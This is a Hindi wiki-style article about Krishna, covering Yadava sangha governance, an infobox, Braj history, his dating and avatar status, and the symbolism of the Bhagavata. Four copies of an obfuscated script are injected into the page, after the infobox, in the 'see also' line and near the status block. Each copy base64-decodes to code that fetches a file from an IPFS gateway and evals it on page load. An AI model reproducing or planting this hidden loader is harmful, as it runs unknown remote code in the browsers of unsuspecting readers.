*बुद्धि, क्षमा और इन्द्रिय-निग्रह के बिना तथा धन-वैभव का त्याग किये बिना कोई गण अथवा संघ किसी बुद्धिमान पुरुष की आज्ञा के अधीन नहीं रहता है।
 
*श्री कृष्ण! सदा अपने पक्ष की ऐसी उन्नति होनी चाहिए जो धन, यश तथा आयु की वृद्धि करने वाली हो और कुटुम्बीजनों में से किसी का विनाश न हो। यह सब जैसे भी सम्भव हो, वैसा ही कीजिये।
 
*प्रभु! संधि, विग्रह, यान, आसन, द्वैधीभाव और समाश्रय- इन छहों गुणों के यथासमय प्रयोग से तथा शत्रु पर चढ़ाई करने के लिए यात्रा करने पर वर्तमान या भविष्य में क्या परिणाम निकलेगा? यह सब आप से छिपा नहीं है।
 
*महाबाहु माधव! कुकुर, भोज, अन्धक और वृष्णि वंश के सभी यादव आप में प्रेम रखते हैं। दूसरे लोग और लोकेश्वर भी आप में अनुराग रखते हैं। औरों की तो बात ही क्या है? बड़े-बड़े [[ॠषि]]-मुनि भी आपकी बुद्धि का आश्रय लेते हैं।
 
*आप समस्त प्राणियों के गुरु हैं। भूत, वर्तमान और भविष्य को जानते हैं। आप जैसे यदुकुलतिलक महापुरुष का आश्रय लेकर ही समस्त यादव सुखपूर्वक अपनी उन्नति करते हैं।<br />
 
 
 
उक्त उद्धरण से ज्ञात होता है कि अंधक-वृष्णि संघ में शास्त्र के अनुसार व्यवहार (न्याय) संपादित होता था। अंतर और बाह्य विभाग, अर्थ विभाग-ये सब नियमित रूप से शासित होते थे। गण-मुख्य का काम कार्यवाहक प्रण-प्रधान (राजन्य) देखता था। गण-मुख्यों-अक्रुर अंधक, आहुक आदि-की समाज में प्रतिष्ठा थी। अंधक-वृष्णियों का मन्त्रगण सुधर्मा नाम से विख्यात था। समय-समय पर परिषद् की बैठकें महत्त्वपूर्ण विषयों पर विचार करने के लिए हुआ करती थी। `सभापाल' परिषद् बुलाता था। प्रत्येक सदस्स्य को अपना मत निर्भीकता से सामने रखने का अधिकार था। जो अपने मत का सर्वोत्तम ढंग से समर्थन करता वह परिषद् को प्रभावित कर सकता था। गण-मुख्य अलग-अलग शाखाओं के नेता होते थे। राज्य के विभिन्न विभाग उनके निरीक्षण में कार्य करते थे। इन शाखाओं या जातीय संघों को अपनी-अपनी नीति के अनुसार कार्य करने की स्वतन्त्रता थी, महाभारत में यादवों की कुछ शाखाएं इसी कारण पाडंवों की ओर से लड़ी और कुछ कौरवों की ओर से । इससे स्पष्ट है कि महाभारतयुद्ध के समझ जातीय-संघों का काफ़ी ज़ोर हो गया था।<ref> विस्तार के लिए देखिये के. एम.मुंशी-ग्लोरी दैट वाज़ गुर्जर देश, पृ.130 तथा वासुदेवशरण अग्रवाल-इंडिया ऎज़ नोन टु पाणिनि(लखनऊ,1953),पृ.452।</ref>
 
  
  
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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कृष्ण विषय सूची
संक्षिप्त परिचय
कृष्ण
Radha-Krishna-1.jpg
अन्य नाम वासुदेव, मोहन, द्वारिकाधीश, केशव, गोपाल, नंदलाल, बाँके बिहारी, कन्हैया, गिरधारी, मुरारी, मुकुंद, गोविन्द, यदुनन्दन, रणछोड़ आदि
अवतार सोलह कला युक्त पूर्णावतार (विष्णु)
वंश-गोत्र वृष्णि वंश (चंद्रवंश)
कुल यदुकुल
पिता वसुदेव
माता देवकी
पालक पिता नंदबाबा
पालक माता यशोदा
जन्म विवरण भाद्रपद, कृष्ण पक्ष, अष्टमी
समय-काल महाभारत काल
परिजन रोहिणी (विमाता), बलराम (भाई), सुभद्रा (बहन), गद (भाई)
गुरु संदीपन, आंगिरस
विवाह रुक्मिणी, सत्यभामा, जांबवती, मित्रविंदा, भद्रा, सत्या, लक्ष्मणा, कालिंदी
संतान प्रद्युम्न, अनिरुद्ध, सांब
विद्या पारंगत सोलह कला, चक्र चलाना
रचनाएँ 'गीता'
शासन-राज्य द्वारिका
संदर्भ ग्रंथ 'महाभारत', 'भागवत', 'छान्दोग्य उपनिषद'।
मृत्यु पैर में तीर लगने से।
संबंधित लेख कृष्ण जन्म घटनाक्रम, कृष्ण बाललीला, गोवर्धन लीला, कृष्ण बलराम का मथुरा आगमन, कंस वध, कृष्ण और महाभारत, कृष्ण का अंतिम समय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

श्रीकृष्ण को हिन्दू धर्म में भगवान विष्णु का अवतार माना जाता है। सनातन धर्म के अनुसार भगवान विष्णु सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा मोक्ष प्रदान करने वाले प्रमुख देवता हैं। श्रीकृष्ण साधारण व्यक्ति न होकर 'युग पुरुष' थे। उनके व्यक्तित्व में भारत को एक प्रतिभा सम्पन्न 'राजनीतिवेत्ता' ही नही, एक महान् 'कर्मयोगी' और 'दार्शनिक' प्राप्त हुआ, जिसका 'गीता' ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है। कृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है। वे लोग जिन्हें हम साधारण रूप में नास्तिक या धर्म निरपेक्ष की श्रेणी में रखते हैं, निश्चित रूप से 'श्रीमद्‍ भगवद्गीता' से प्रभावित हैं। 'गीता' किसने और किस काल में कही या लिखी यह शोध का विषय है, किन्तु 'गीता' को कृष्ण से ही जोड़ा जाता है। यह आस्था का प्रश्न है और यूँ भी आस्था के प्रश्नों के उत्तर इतिहास में नहीं तलाशे जाते।
कृष्ण

ब्रज

ब्रज या शूरसेन जनपद के इतिहास में श्रीकृष्ण का समय बड़े महत्त्व का है। इसी समय में प्रजातंत्र और नृपतंत्र के बीच कठोर संघर्ष हुए। मगध राज्य की शक्ति का विस्तार हुआ और भारत का वह महान् भीषण संग्राम हुआ, जिसे महाभारत युद्ध कहते हैं। इन राजनीतिक हलचलों के अतिरिक्त इस काल का सांस्कृतिक महत्त्व भी है। मथुरा नगरी इस महान् विभूति का जन्मस्थान होने के कारण धन्य हो गई। मथुरा ही नहीं, सारा शूरसेन या ब्रज जनपद आनंदकंद कृष्ण की मनोहर लीलाओं की क्रीड़ाभूमि होने के कारण गौरवान्वित हो गया। मथुरा और ब्रज को कालांतर में जो असाधारण महत्त्व प्राप्त हुआ, वह इस महापुरुष की जन्मभूमि और क्रीड़ाभूमि होने के कारण ही प्राप्त हुआ। श्रीकृष्ण भागवत धर्म के महान् स्रोत हुए। इस धर्म ने कोटि-कोटि भारतीय जन का अनुरंजन तो किया ही, साथ ही कितने ही विदेशी इसके द्वारा प्रभावित हुए। प्राचीन और अर्वाचीन साहित्य का एक बड़ा भाग कृष्ण की मनोहर लीलाओं से ओत-प्रोत है। उनके लोकरंजक रूप ने भारतीय जनता के मानस-पटल पर जो छाप लगा दी है, वह अमिट है। ब्रज में भगवान श्रीकृष्ण को लोग कई नामों से पुकारते है- कान्हा, गोपाल, गिरधर, माधव, केशव, मधुसूदन, गिरधारी, रणछोड़, बंशीधर, नंदलाल, मुरलीधर आदि नामों से जाने जाते हैं।

कृष्ण जन्म का समय

वर्तमान ऐतिहासिक अनुसंधानों के आधार पर श्रीकृष्ण का जन्म लगभग ई. पू. 1500 माना जाता है। ये सम्भवत: 100 वर्ष से कुछ ऊपर की आयु तक जीवित रहे। अपने इस दीर्घ जीवन में उन्हें विविध प्रकार के कार्यों में व्यस्त रहना पड़ा। उनका प्रारंभिक जीवन तो ब्रज में कटा और शेष द्वारका में व्यतीत हुआ। बीच-बीच में उन्हें अन्य अनेक जनपदों में भी जाना पड़ा। जो अनेक घटनाएं उनके समय में घटीं, उनकी विस्तृत चर्चा पुराणों तथा महाभारत में मिलती है। वैदिक साहित्य[1] में तो कृष्ण का उल्लेख बहुत कम मिलता है और उसमें उन्हें मानव-रूप में ही दिखाया गया है, न कि नारायण या विष्णु के अवतार रूप में।

विष्णु के अवतार

सनातन धर्म के अनुसार भगवान विष्णु सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा मोक्ष प्रदान करने वाले प्रमुख देवता हैं। जब-जब इस पृथ्वी पर असुर एवं राक्षसों के पापों का आतंक व्याप्त होता है, तब-तब भगवान विष्णु किसी न किसी रूप में अवतरित होकर पृथ्वी के भार को कम करते हैं। वैसे तो भगवान विष्णु ने अभी तक तेईस अवतारों को धारण किया। इन अवतारों में उनके सबसे महत्वपूर्ण अवतार 'श्रीराम' और 'श्रीकृष्ण' के ही माने जाते हैं। श्रीकृष्ण ऐतिहासिक पुरुष थे, इसका स्पष्ट प्रमाण 'छान्दोग्य उपनिषद' के एक उल्लेख में मिलता है। वहाँ[2] कहा गया है कि "देवकी पुत्र श्रीकृष्ण को महर्षिदेव:कोटी आंगिरस ने निष्काम कर्म रूप यज्ञ उपासना की शिक्षा दी थी, जिसे ग्रहण कर श्रीकृष्ण 'तृप्त' अर्थात् पूर्ण पुरुष हो गए थे।" श्रीकृष्ण का जीवन, जैसा कि महाभारत में वर्णित है, इसी शिक्षा से अनुप्राणित था और 'गीता' में उसी शिक्षा का प्रतिपादन उनके ही माध्यम से किया गया है।

लीलाओं का संदेश

कृष्ण लीलाओं का जो विस्तृत वर्णन भागवत ग्रंथ में किया गया है, उसका उद्देश्य क्या केवल कृष्ण भक्तों की श्रद्धा बढ़ाना है या मनुष्य मात्र के लिए इसका कुछ संदेश है? तार्किक मन को विचित्र-सी लगने वाली इन घटनाओं के वर्णन का उद्देश्य क्या ऐसे मन को अतिमानवीय पराशक्ति की रहस्यमयता से विमूढ़वत बना देना है अथवा उसे उसके तार्किक स्तर पर ही कुछ गहरा संदेश देना है, इस पर विचार करना चाहिए। श्रीकृष्ण एक ऐतिहासिक पुरुष हुए हैं, इसका स्पष्ट प्रमाण 'छान्दोग्य उपनिषद' के एक उल्लेख में मिलता है। वहाँ[3] कहा गया है कि देवकी पुत्र श्रीकृष्ण को महर्षिदेव:कोटी आंगिरस ने निष्काम कर्म रूप यज्ञ उपासना की शिक्षा दी थी, जिसे ग्रहण कर श्रीकृष्ण 'तृप्त' अर्थात् पूर्ण पुरुष हो गए थे।

श्रीकृष्ण का जीवन, जैसा कि महाभारत में वर्णित है, इसी शिक्षा से अनुप्राणित था और 'गीता' में उसी शिक्षा का प्रतिपादन उनके ही माध्यम से किया गया है। किंतु इनके जन्म और बाल-जीवन का जो वर्णन प्राप्त है, वह मूलतः श्रीमद्भागवत का है और वह ऐतिहासिक कम, आध्यात्मिक अधिक है और यह बात ग्रंथ के आध्यात्मिक स्वरूप के अनुसार ही है। ग्रंथ में चमत्कारी भौतिक वर्णनों के पर्दे के पीछे गहन आध्यात्मिक संकेत संजोए गए हैं। वस्तुतः भागवत में सृष्टि की संपूर्ण विकास प्रक्रिया का और उस प्रक्रिया को गति देने वाली परमात्म शक्ति का दर्शन कराया गया है। ग्रंथ के पूर्वार्ध[4] में सृष्टि के क्रमिक विकास[5] का और उत्तरार्ध (दशम स्कंध) में श्रीकृष्ण की लीलाओं के द्वारा व्यक्ति के आध्यात्मिक विकास का वर्णन प्रतीक शैली में किया गया है।



इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: कृष्ण चालीसा, कुंजबिहारी जी की आरती एवं कृष्ण जन्माष्टमी<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वीथिका

टीका टिप्पणी और संदर्भ

  1. छांदोग्य उपनिषद (3,17,6), जिसमें देवकी पुत्र कृष्ण का उल्लेख है और उन्हें घोर आंगिरस का शिष्य कहा है, परवर्ती साहित्य में श्रीकृष्ण को देव या विष्णु रूप में प्रदर्शित करने का भाव मिलता है। (तैत्तिरीय आरण्यक, 10, 1, 6; पाणिनि-अष्टाध्यायी, 4, 3, 98 आदि) महाभारत तथा हरिवंश पुराण, विष्णु पुराण, ब्रह्म पुराण, वायु पुराण, भागवत, पद्म पुराण, देवी भागवत, अग्नि पुराण तथा ब्रह्मवर्त पुराणों में उन्हें प्राय: भगवान के रूप में ही दिखाया गया है। इन ग्रंथों में यद्यपि कृष्ण के आलौकिक तत्त्व की प्रधानता है तो भी उनके मानव या ऐतिहासिक रूप के भी दर्शन यत्र-तत्र मिलते हैं। पुराणों में कृष्ण-संबंधी विभिन्न वर्णनों के आधार पर कुछ पाश्चात्य विद्वानों को यह कल्पना करने का अवसर मिला कि कृष्ण ऐतिहासिक पुरुष नहीं थे। इस कल्पना की पुष्टि में अनेक दलीलें दी गई हैं, जो ठीक नहीं सिद्ध होतीं। यदि महाभारत और पुराणों के अतिरिक्त, ब्राह्मण-ग्रंथों तथा उपनिषदों के उल्लेख देखे जायें तो कृष्ण के ऐतिहासिक तत्त्व का पता चल जायगा। बौद्ध-ग्रंथ घट जातक तथा जैन-ग्रंथ 'उत्तराध्ययन सूत्र' से भी श्रीकृष्ण का ऐतिहासिक होना सिद्ध है। यह मत भी भ्रामक है कि ब्रज के कृष्ण, द्वारका के कृष्ण तथा महाभारत के कृष्ण एक न होकर अलग-अलग व्यक्ति थे। (श्रीकृष्ण की ऐतिहासिकता तथा तत्संबंधी अन्य समस्याओं के लिए देखिए- राय चौधरी-अर्ली हिस्ट्री ऑफ वैष्णव सेक्ट, पृ. 39, 52; आर.जी. भंडारकार-ग्रंथमाला, जिल्द 2, पृ0 58-291; विंटरनीज-हिस्ट्री ऑफ इंडियन लिटरेचर, जिल्द 1, पृ. 456; मैकडॉनल तथा कीथ-वैदिक इंडेक्स, जि.1, पृ. 184; ग्रियर्सन-एनसाइक्लोपीडिया ऑफ रिलीजंस ('भक्ति' पर निबंध); भगवानदास- कृष्ण; तदपत्रिकर-द कृष्ण प्रायलम; पार्जीटर-ऎश्यंट इंडियन हिस्टॉरिकल ट्रेडीशन आदि।
  2. 3.17.6
  3. 3.17.6
  4. स्कंध 1 से 9
  5. जड़-जीव-मानव निर्माण

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